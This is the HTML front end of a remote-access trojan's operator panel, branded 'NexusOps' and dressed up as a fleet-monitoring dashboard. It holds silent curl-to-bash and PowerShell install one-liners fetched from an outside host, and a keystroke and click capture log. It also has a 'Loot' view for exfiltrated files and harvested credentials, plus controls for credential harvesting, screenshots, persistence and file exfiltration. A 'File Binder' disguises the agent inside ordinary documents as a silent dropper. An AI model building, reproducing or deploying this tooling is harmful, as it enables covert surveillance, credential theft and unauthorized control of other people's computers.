<i class="fa-solid fa-layer-group"></i> Bulk Task
</button>
<button class="btn btn-primary" onclick="openInstallerModal()">
<i class="fa-solid fa-plus"></i> Add Computer
</button>
<button class="btn btn-secondary" style="border-color: var(--accent-rose); color: var(--accent-rose);" onclick="killSwitch()">
<i class="fa-solid fa-skull"></i> Kill Switch
</button>
</div>
</header>
<!-- Main Container -->
<main class="dashboard-container">
<!-- Stats Row Overview -->
<section class="stats-grid">
<div class="stat-card">
<div class="stat-icon cyan"><i class="fa-solid fa-server"></i></div>
<div class="stat-details">
<span class="stat-label">Total Nodes</span>
<h2 class="stat-number" id="statTotalNodes">0</h2>
</div>
</div>
<div class="stat-card">
<div class="stat-icon emerald"><i class="fa-solid fa-circle-check"></i></div>
<div class="stat-details">
<span class="stat-label">Online Nodes</span>
<h2 class="stat-number" id="statOnlineNodes">0</h2>
</div>
</div>
<div class="stat-card">
<div class="stat-icon rose"><i class="fa-solid fa-circle-exclamation"></i></div>
<div class="stat-details">
<span class="stat-label">Offline / Stale</span>
<h2 class="stat-number" id="statOfflineNodes">0</h2>
</div>
</div>
<div class="stat-card">
<div class="stat-icon purple"><i class="fa-solid fa-bolt"></i></div>
<div class="stat-details">
<span class="stat-label">Avg Network CPU</span>
<h2 class="stat-number" id="statAvgCpu">0%</h2>
</div>
</div>
</section>
<!-- Toolbar & Filter Row -->
<div class="controls-toolbar">
<div class="search-box">
<i class="fa-solid fa-magnifying-glass"></i>
<input type="text" id="searchInput" placeholder="Search by hostname, IP, OS or ID..." onkeyup="filterNodes()">
</div>
<div class="filter-group">
<button class="filter-btn active" data-filter="all" onclick="setFilter('all', this)">All Nodes</button>
<button class="filter-btn" data-filter="online" onclick="setFilter('online', this)">Online</button>
<button class="filter-btn" data-filter="offline" onclick="setFilter('offline', this)">Offline</button>
</div>
<div class="view-toggle">
<button class="toggle-btn active" onclick="switchView('grid', this)"><i class="fa-solid fa-grid-2"></i> Grid</button>
<button class="toggle-btn" onclick="switchView('list', this)"><i class="fa-solid fa-list"></i> Table</button>
</div>
</div>
<!-- Nodes Grid -->
<div id="nodesGrid" class="nodes-grid-view">
<div class="empty-state">
<i class="fa-solid fa-satellite-dish fa-spin"></i>
<h3>Waiting for Agents to Connect...</h3>
<p>No nodes registered yet. Click "Add New Computer" to get your agent installer script or standalone binary.</p>
<button class="btn btn-secondary" onclick="openInstallerModal()">Get Agent Install Script</button>
</div>
</div>
<!-- Telemetry Chart -->
<section class="chart-section">
<div class="section-header">
<h3><i class="fa-solid fa-chart-line"></i> Real-time Aggregate System Telemetry</h3>
<span class="badge">Live Stream</span>
</div>
<div class="chart-container">
<canvas id="telemetryChart"></canvas>
</div>
</section>
<!-- Command Execution Audit Log -->
<section class="logs-section">
<div class="section-header">
<h3><i class="fa-solid fa-terminal"></i> Task & Control Execution Log</h3>
<span class="badge purple" id="logCount">0 events</span>
</div>
<div class="terminal-window">
<div class="terminal-body" id="auditLogContent">
<div class="log-entry system">[SYSTEM] NexusOps Telemetry Server ready. Waiting for node tasks...</div>
</div>
</div>
</section>
<!-- Master Centralized System & Audit Log Stream -->
<section class="logs-section">
<div class="section-header">
<h3><i class="fa-solid fa-file-lines"></i> Master Centralized System & Audit Log Stream</h3>
<div style="display: flex; align-items: center; gap: 0.75rem;">
<input type="text" id="logSearchInput" placeholder="Filter log output..." style="background: rgba(15,23,42,0.8); border: 1px solid var(--border-color); color: #fff; padding: 0.3rem 0.6rem; border-radius: 6px; font-size: 0.8rem;" onkeyup="renderMasterSyslogs()">
<span class="badge" id="syslogCount">0 entries</span>
</div>
</div>
<div class="terminal-window" style="height: 240px;">
<div class="terminal-body" id="syslogStreamContent">
<div class="log-entry system">[SYSTEM] Central log stream active. Listening for node syslog and audit events...</div>
</div>
</div>
</section>
<!-- Master Intelligence Log — unified input capture, machine details, and system events -->
<section class="logs-section" id="intelSection">
<div class="section-header">
<h3><i class="fa-solid fa-eye"></i> Master Intelligence Log — Input Capture & Machine Telemetry</h3>
<div style="display: flex; align-items: center; gap: 0.75rem;">
<select id="intelNodeFilter" style="background: rgba(15,23,42,0.8); border: 1px solid var(--border-color); color: #fff; padding: 0.3rem 0.6rem; border-radius: 6px; font-size: 0.8rem;" onchange="renderIntelLog()">
<option value="all">All Machines</option>
</select>
<select id="intelTypeFilter" style="background: rgba(15,23,42,0.8); border: 1px solid var(--border-color); color: #fff; padding: 0.3rem 0.6rem; border-radius: 6px; font-size: 0.8rem;" onchange="renderIntelLog()">
<option value="all">All Events</option>
<option value="keystroke">Keystrokes</option>
<option value="click">Clicks</option>
<option value="scroll">Scroll</option>
</select>
<input type="text" id="intelSearchInput" placeholder="Search input data..." style="background: rgba(15,23,42,0.8); border: 1px solid var(--border-color); color: #fff; padding: 0.3rem 0.6rem; border-radius: 6px; font-size: 0.8rem; width: 160px;" onkeyup="renderIntelLog()">
<span class="badge purple" id="intelCount">0 events</span>
</div>
</div>
<!-- Machine Details Quick-View Bar -->
<div id="machineDetailsBar" style="display: flex; flex-wrap: wrap; gap: 0.5rem; padding: 0.75rem; background: rgba(15,23,42,0.5); border-radius: var(--radius-sm); border: 1px solid var(--border-color); min-height: 40px;">
<span style="color: var(--text-muted); font-size: 0.8rem;">Select a machine above to view its details here...</span>
</div>
<div class="terminal-window" style="height: 300px;">
<div class="terminal-body" id="intelLogContent">
<div class="log-entry system">[INTEL] Master Intelligence Log active. Awaiting input capture data from agents...</div>
</div>
</div>
</section>
<section class="logs-section" id="lootSection">
<div class="section-header">
<h3><i class="fa-solid fa-sack-dollar"></i> Loot — Exfiltrated Files & Harvested Credentials</h3>
<div class="loot-tabs">
<button class="tab-btn active" id="lootTabFiles" onclick="switchLootTab('files')"><i class="fa-solid fa-file-arrow-down"></i> Files <span class="badge" id="lootFilesCount">0</span></button>
<button class="tab-btn" id="lootTabCreds" onclick="switchLootTab('creds')"><i class="fa-solid fa-key"></i> Credentials <span class="badge purple" id="lootCredsCount">0</span></button>
</div>
</div>
<div class="loot-body" id="lootFilesPanel">
<div class="log-entry system">[LOOT] No files exfiltrated yet. Use Control → Exfil &amp; Harvest on an online node.</div>
</div>
<div class="loot-body" id="lootCredsPanel" style="display:none;">
<div class="log-entry system">[LOOT] No credentials harvested yet. Use Control → Exfil &amp; Harvest on an online node.</div>
</div>
</section>
</main>
<!-- Agent Installer Modal -->
<div class="modal-overlay" id="installerModal">
<div class="modal-card">
<div class="modal-header">
<div class="title-with-icon">
<i class="fa-solid fa-download icon-accent"></i>
<div>
<h2>Deploy Agent to Network Computer</h2>
<p>Download the standalone agent binary or run the dynamic installation script on target systems.</p>
</div>
</div>
<button class="modal-close" onclick="closeInstallerModal()"><i class="fa-solid fa-xmark"></i></button>
</div>
<div class="modal-body">
<div class="os-tabs">
<button class="tab-btn active" onclick="switchTab('universal')"><i class="fa-solid fa-bolt"></i> Universal</button>
<button class="tab-btn" onclick="switchTab('binary')"><i class="fa-solid fa-box"></i> Binary</button>
<button class="tab-btn" onclick="switchTab('linux')"><i class="fa-brands fa-linux"></i> Linux</button>
<button class="tab-btn" onclick="switchTab('windows')"><i class="fa-brands fa-windows"></i> Windows</button>
<button class="tab-btn" onclick="switchTab('mac')"><i class="fa-brands fa-apple"></i> macOS</button>
<button class="tab-btn" onclick="switchTab('manual')"><i class="fa-brands fa-python"></i> Python</button>
</div>
<div class="tab-content active" id="tab-universal">
<p class="tab-description" style="color: var(--accent-emerald);"><strong>Recommended:</strong> Auto-detects OS and runs the correct installer. Single command, any platform, fully silent.</p>
<div class="code-block">
<code id="codeUniversal">curl -sSL <span class="server-url-placeholder">https://agent.thetempleofdoom.com</span>/install | bash</code>
<button class="btn-copy" onclick="copyCode('codeUniversal', this)"><i class="fa-regular fa-copy"></i> Copy</button>
</div>
</div>
<div class="tab-content" id="tab-binary">
<p class="tab-description">Compiled standalone binary executable (no Python installation required on target system).</p>
<div class="code-block">
<code id="codeBinary">curl -sSL <span class="server-url-placeholder">https://agent.thetempleofdoom.com</span>/bin/NexusAgent -o NexusAgent && chmod +x NexusAgent && ./NexusAgent --server <span class="server-url-placeholder">https://agent.thetempleofdoom.com</span></code>
<button class="btn-copy" onclick="copyCode('codeBinary', this)"><i class="fa-regular fa-copy"></i> Copy</button>
</div>
<div style="margin-top: 0.75rem;">
<a id="binaryDownloadLink" href="https://agent.thetempleofdoom.com/bin/NexusAgent" download="NexusAgent" class="btn btn-secondary" style="text-decoration: none;">
<i class="fa-solid fa-file-arrow-down"></i> Direct Download Compiled Executable (NexusAgent)
</a>
</div>
</div>
<div class="tab-content" id="tab-linux">
<p class="tab-description">Executes automated installer, configures systemd service, and starts background heartbeat daemon.</p>
<div class="code-block">
<code id="codeLinux">curl -sSL <span class="server-url-placeholder">https://agent.thetempleofdoom.com</span>/install.sh | sudo bash</code>
<button class="btn-copy" onclick="copyCode('codeLinux', this)"><i class="fa-regular fa-copy"></i> Copy</button>
</div>
</div>
<div class="tab-content" id="tab-windows">
<p class="tab-description">Downloads Python agent to ProgramData and launches background monitoring process.</p>
<div class="code-block">
<code id="codeWindows">iwr -useb <span class="server-url-placeholder">https://agent.thetempleofdoom.com</span>/install.ps1 | iex</code>
<button class="btn-copy" onclick="copyCode('codeWindows', this)"><i class="fa-regular fa-copy"></i> Copy</button>
</div>
</div>
<div class="tab-content" id="tab-mac">
<p class="tab-description">Installs agent as a launchd background daemon with KeepAlive enabled. Auto-starts on login.</p>
<div class="code-block">
<code id="codeMac">curl -sSL <span class="server-url-placeholder">https://agent.thetempleofdoom.com</span>/install-mac.sh | bash</code>
<button class="btn-copy" onclick="copyCode('codeMac', this)"><i class="fa-regular fa-copy"></i> Copy</button>
</div>
</div>
<div class="tab-content" id="tab-manual">
<p class="tab-description">Download and run directly using standard Python 3 (No external dependencies required).</p>
<div class="code-block">
<code id="codeManual">curl -sSL <span class="server-url-placeholder">https://agent.thetempleofdoom.com</span>/agent.py -o agent.py && python3 agent.py --server <span class="server-url-placeholder">https://agent.thetempleofdoom.com</span></code>
<button class="btn-copy" onclick="copyCode('codeManual', this)"><i class="fa-regular fa-copy"></i> Copy</button>
</div>
</div>
<div class="modal-info-box">
<i class="fa-solid fa-circle-info"></i>
<div>
<strong>Server Endpoint Pre-configured:</strong> All installers link to <span class="server-url-placeholder">https://agent.thetempleofdoom.com</span>.
</div>
</div>
</div>
</div>
</div>
<!-- Multi-Control Node Center Modal -->
<div class="modal-overlay" id="commandModal">
<div class="modal-card" style="max-width: 720px;">
<div class="modal-header">
<div class="title-with-icon">
<i class="fa-solid fa-sliders icon-accent"></i>
<div>
<h2>Node Control Center: <span id="cmdModalHostname">Node</span></h2>
<p>Full suite of cross-platform administrative & diagnostic actions.</p>
</div>
</div>
<button class="modal-close" onclick="closeCommandModal()"><i class="fa-solid fa-xmark"></i></button>
</div>
<div class="modal-body">
<input type="hidden" id="cmdModalNodeId">
<div class="os-tabs" style="flex-wrap: wrap; gap: 0.25rem;">
<button class="tab-btn active" onclick="switchControlTab('shell', this)"><i class="fa-solid fa-terminal"></i> Terminal</button>
<button class="tab-btn" onclick="switchControlTab('service', this)"><i class="fa-solid fa-gear"></i> Services</button>
<button class="tab-btn" onclick="switchControlTab('process', this)"><i class="fa-solid fa-microchip"></i> Processes</button>
<button class="tab-btn" onclick="switchControlTab('diag', this)"><i class="fa-solid fa-stethoscope"></i> Diagnostics</button>
<button class="tab-btn" onclick="switchControlTab('network', this)"><i class="fa-solid fa-network-wired"></i> Network</button>
<button class="tab-btn" onclick="switchControlTab('exfil', this)"><i class="fa-solid fa-skull"></i> Exfil & Harvest</button>
<button class="tab-btn" onclick="switchControlTab('config', this)"><i class="fa-solid fa-sliders"></i> Agent Config</button>
</div>
<!-- Shell Tab -->
<div class="control-tab-content active" id="ctrl-shell">
<div class="form-group">
<label>Run Shell Command</label>
<input type="text" id="cmdInput" class="form-input" placeholder="e.g. systemctl status nginx or df -h" onkeydown="if(event.key==='Enter') submitNodeAction('raw_command')">
</div>
<div class="quick-commands" style="margin-top: 0.5rem;">
<span class="quick-label">Presets:</span>
<button class="chip" onclick="setQuickCmd('uptime')">Uptime</button>
<button class="chip" onclick="setQuickCmd('df -h')">Disk Space</button>
<button class="chip" onclick="setQuickCmd('free -h')">Memory Free</button>
<button class="chip" onclick="setQuickCmd('docker ps')">Docker Containers</button>
</div>
<div class="modal-actions">
<button class="btn btn-primary" onclick="submitNodeAction('raw_command')"><i class="fa-solid fa-paper-plane"></i> Run Shell Command</button>
</div>
</div>
<!-- Service Tab -->
<div class="control-tab-content" id="ctrl-service" style="display: none;">
<div class="form-group">
<label>Service Name</label>
<input type="text" id="serviceNameInput" class="form-input" placeholder="e.g. nginx, docker, sshd, mysql">
</div>
<div class="form-group">
<label>Action</label>
<div style="display: flex; gap: 0.5rem; margin-top: 0.25rem;">
<button class="btn btn-secondary" onclick="submitServiceAction('restart')"><i class="fa-solid fa-rotate"></i> Restart</button>
<button class="btn btn-secondary" onclick="submitServiceAction('start')"><i class="fa-solid fa-play"></i> Start</button>
<button class="btn btn-secondary" onclick="submitServiceAction('stop')"><i class="fa-solid fa-stop"></i> Stop</button>
<button class="btn btn-secondary" onclick="submitServiceAction('status')"><i class="fa-solid fa-info-circle"></i> Status</button>
</div>
</div>
</div>
<!-- Process Tab -->
<div class="control-tab-content" id="ctrl-process" style="display: none;">
<p class="tab-description">Inspect top CPU processes or terminate stuck process ID (PID).</p>
<div style="display: flex; gap: 0.75rem; align-items: flex-end;">
<button class="btn btn-primary" onclick="submitNodeAction('list_processes')"><i class="fa-solid fa-list"></i> Fetch Top Processes</button>
<div class="form-group" style="flex: 1;">
<label>Kill PID</label>
<input type="number" id="killPidInput" class="form-input" placeholder="e.g. 1420">
</div>
<button class="btn btn-secondary" style="border-color: var(--accent-rose); color: var(--accent-rose);" onclick="submitKillProcess()"><i class="fa-solid fa-skull"></i> Kill PID</button>
</div>
</div>
<!-- Diagnostics Tab (Features 1, 2, 5, 10) -->
<div class="control-tab-content" id="ctrl-diag" style="display: none;">
<p class="tab-description">Hardware, Storage, Environment & System Diagnostic Inspection.</p>
<div style="display: grid; grid-template-columns: 1fr 1fr; gap: 0.5rem;">
<button class="btn btn-secondary" onclick="submitNodeAction('get_hardware_specs')"><i class="fa-solid fa-microchip"></i> Hardware & CPU Specs</button>
<button class="btn btn-secondary" onclick="submitNodeAction('get_disk_partitions')"><i class="fa-solid fa-hard-drive"></i> Disk Partitions</button>
<button class="btn btn-secondary" onclick="submitNodeAction('get_env_vars')"><i class="fa-solid fa-code"></i> Environment Variables</button>
<button class="btn btn-secondary" onclick="submitNodeAction('export_diagnostics')"><i class="fa-solid fa-notes-medical"></i> Full Diagnostics</button>
</div>
</div>
<!-- Exfil & Harvest Tab -->
<div class="control-tab-content" id="ctrl-exfil" style="display: none;">
<p class="tab-description">File exfiltration, screenshot capture, credential harvesting, persistence.</p>
<div style="display: grid; grid-template-columns: 1fr 1fr; gap: 0.5rem; margin-bottom: 0.75rem;">
<button class="btn btn-secondary" onclick="submitNodeAction('screenshot')"><i class="fa-solid fa-camera"></i> Screenshot</button>
<button class="btn btn-secondary" onclick="submitNodeAction('harvest_credentials')"><i class="fa-solid fa-key"></i> Harvest Creds</button>
<button class="btn btn-secondary" onclick="submitNodeAction('ensure_persistence', {server_url: publicUrl || ('http://'+serverIp+':'+serverPort)})"><i class="fa-solid fa-anchor"></i> Ensure Persistence</button>
<button class="btn btn-secondary" onclick="submitNodeAction('update_agent', {url: (publicUrl || ('http://'+serverIp+':'+serverPort)) + '/agent.py'})"><i class="fa-solid fa-rotate"></i> Update Agent</button>
</div>
<div class="form-group">
<label>Download File from Target</label>
<div style="display: flex; gap: 0.5rem;">
<input type="text" id="exfilPathInput" class="form-input" placeholder="e.g. /etc/passwd or C:\Users\admin\Desktop\secret.docx" style="flex:1;">
<button class="btn btn-primary" onclick="submitNodeAction('download_file', {path: document.getElementById('exfilPathInput').value})"><i class="fa-solid fa-download"></i> Exfiltrate</button>
</div>
</div>
</div>
<!-- Network Tab (Features 3, 4) -->
<div class="control-tab-content" id="ctrl-network" style="display: none;">
<p class="tab-description">Network Interface Cards & Active Established Connections.</p>
<div style="display: flex; gap: 0.5rem; margin-bottom: 0.75rem;">
<button class="btn btn-secondary" onclick="submitNodeAction('get_network_interfaces')"><i class="fa-solid fa-ethernet"></i> Network Interfaces</button>
<button class="btn btn-secondary" onclick="submitNodeAction('get_active_connections')"><i class="fa-solid fa-plug"></i> Established TCP Sockets</button>
<button class="btn btn-secondary" onclick="submitNodeAction('network_stats')"><i class="fa-solid fa-list-numeric"></i> Listening Ports</button>
</div>
</div>
<!-- Agent Config Tab (Features 6, 7, 8) -->
<div class="control-tab-content" id="ctrl-config" style="display: none;">
<div class="form-group">
<label>Set Node Tags (comma separated)</label>
<div style="display: flex; gap: 0.5rem;">
<input type="text" id="tagInput" class="form-input" placeholder="e.g. Production, WebServer, Proxmox">
<button class="btn btn-primary" onclick="submitTagUpdate()"><i class="fa-solid fa-tag"></i> Save Tags</button>
</div>
</div>
<div class="form-group" style="margin-top: 0.75rem;">
<label>Adjust Heartbeat Rate (seconds)</label>
<div style="display: flex; gap: 0.5rem;">
<input type="number" id="heartbeatInput" class="form-input" placeholder="5" value="5" min="2" max="60">
<button class="btn btn-primary" onclick="submitHeartbeatRate()"><i class="fa-solid fa-clock"></i> Set Rate</button>
</div>
</div>
<div style="margin-top: 1.25rem; border-top: 1px solid var(--border-color); padding-top: 1rem;">
<button class="btn btn-secondary" style="border-color: var(--accent-rose); color: var(--accent-rose);" onclick="submitSystemReboot()"><i class="fa-solid fa-power-off"></i> Reboot Target Machine</button>
</div>
</div>
</div>
</div>
</div>
<!-- Bulk Execution Modal -->
<div class="modal-overlay" id="bulkModal">
<div class="modal-card">
<div class="modal-header">
<div class="title-with-icon">
<i class="fa-solid fa-layer-group icon-accent"></i>
<div>
<h2>Broadcast Task across All Connected Nodes</h2>
<p>Dispatches the selected administrative action to every online machine on your network.</p>
</div>
</div>
<button class="modal-close" onclick="closeBulkModal()"><i class="fa-solid fa-xmark"></i></button>
</div>
<div class="modal-body">
<div class="form-group">
<label>Broadcast Command</label>
<input type="text" id="bulkCmdInput" class="form-input" placeholder="e.g. apt update -y or uptime or systemctl restart nginx">
</div>
<div class="modal-actions">
<button class="btn btn-secondary" onclick="closeBulkModal()">Cancel</button>
<button class="btn btn-primary" onclick="submitBulkCommand()"><i class="fa-solid fa-paper-plane"></i> Broadcast to All Nodes</button>
</div>
</div>
</div>
</div>
<!-- File Binder Modal -->
<div class="modal-overlay" id="binderModal">
<div class="modal-card" style="max-width: 560px;">
<div class="modal-header">
<div class="title-with-icon">
<i class="fa-solid fa-file-circle-plus icon-accent"></i>
<div>
<h2>File Binder — Embed Agent into Any File</h2>
<p>Upload any file. Get back a self-extracting dropper that opens the file normally while silently installing the agent.</p>
</div>
</div>
<button class="modal-close" onclick="closeBinderModal()"><i class="fa-solid fa-xmark"></i></button>
</div>
<div class="modal-body">
<div class="form-group">
<label>Select File to Bind</label>
<div class="binder-dropzone" id="binderDropzone" onclick="document.getElementById('binderFileInput').click()">
<i class="fa-solid fa-cloud-arrow-up" style="font-size: 2rem; color: var(--primary-cyan);"></i>
<p style="margin-top: 0.5rem;" id="binderFileName">Click or drag any file here</p>
<span style="font-size: 0.75rem; color: var(--text-dim);">PDF, DOCX, XLSX, PNG, JPG, scripts, executables — anything</span>
</div>
<input type="file" id="binderFileInput" style="display: none;" onchange="handleBinderFile(this)">
</div>
<div id="binderStatus" style="display: none; padding: 0.75rem; border-radius: var(--radius-sm); text-align: center; font-size: 0.9rem;"></div>
<div class="modal-actions">
<button class="btn btn-secondary" onclick="closeBinderModal()">Cancel</button>
<div class="form-group" style="margin-top:0.75rem;">
<label>Payload Format</label>
<select id="binderFormat" style="width:100%%; background:rgba(15,23,42,0.8); border:1px solid var(--border-color); color:#fff; padding:0.5rem; border-radius:6px;">
<option value="sh">Shell Dropper (.sh) — Linux/macOS</option>
<option value="ps1">PowerShell (.ps1) — Windows</option>
<option value="html">HTML Payload (.html) — One-click browser</option>
</select>
</div>
<button class="btn btn-primary" id="binderSubmitBtn" disabled onclick="submitBinder()">
<i class="fa-solid fa-wand-magic-sparkles"></i> Bind & Download
</button>
</div>
<div class="modal-info-box" style="margin-top: 0.5rem;">
<i class="fa-solid fa-circle-info"></i>
<div>
<strong>How it works:</strong> Your file + agent are fully embedded. No network needed after download. Opens the file AND silently installs the agent. <br><small>Formats: <code>.sh</code> (Linux/macOS), <code>.ps1</code> (Windows), <code>.html</code> (one-click browser payload)</small>
</div>
</div>
</div>
</div>
</div>
<div style="text-align:center;padding:1.5rem;margin-top:2rem;border-top:1px solid rgba(148,163,184,0.1)"><a href="https://buymeacoffee.com/r26xrthzttg" target="_blank" rel="noopener" style="display:inline-flex;align-items:center;gap:0.5rem;background:linear-gradient(135deg,#FF813F,#FF5E0E);color:#fff;padding:0.5rem 1.2rem;border-radius:30px;text-decoration:none;font-weight:600;font-size:0.82rem;transition:all 0.2s;box-shadow:0 4px 15px rgba(255,94,14,0.3)"><span style="font-size:1.1rem">☕</span> Support This Project — Buy Me a Coffee</a></div>
<script src="app.js"></script>
<!-- Toast stack -->
<div id="toastStack" class="toast-stack"></div>
<!-- Auth gate overlay -->
<div class="auth-overlay" id="authOverlay" style="display:none;">
<div class="auth-card">
<i class="fa-solid fa-shield-halved auth-icon"></i>
<h2>NexusOps Access</h2>
<p>Enter your operator token to continue.</p>
<input type="password" id="authTokenInput" class="form-input" placeholder="Operator token" autocomplete="current-password">
<button class="btn btn-primary" id="authTokenSubmit" style="width:100%;margin-top:0.75rem;"><i class="fa-solid fa-unlock"></i> Unlock</button>
<p class="auth-error" id="authError" style="display:none;">Invalid token — try again.</p>
</div>
</div>
<!-- Loot lightbox -->
<div class="modal-overlay" id="lootLightbox" style="display:none;" onclick="closeLootLightbox()">
<img id="lootLightboxImg" class="loot-lightbox-img" alt="preview">
</div>
</body>
</html>

963
backups/20260923/server.js Normal file

File diff suppressed because one or more lines are too long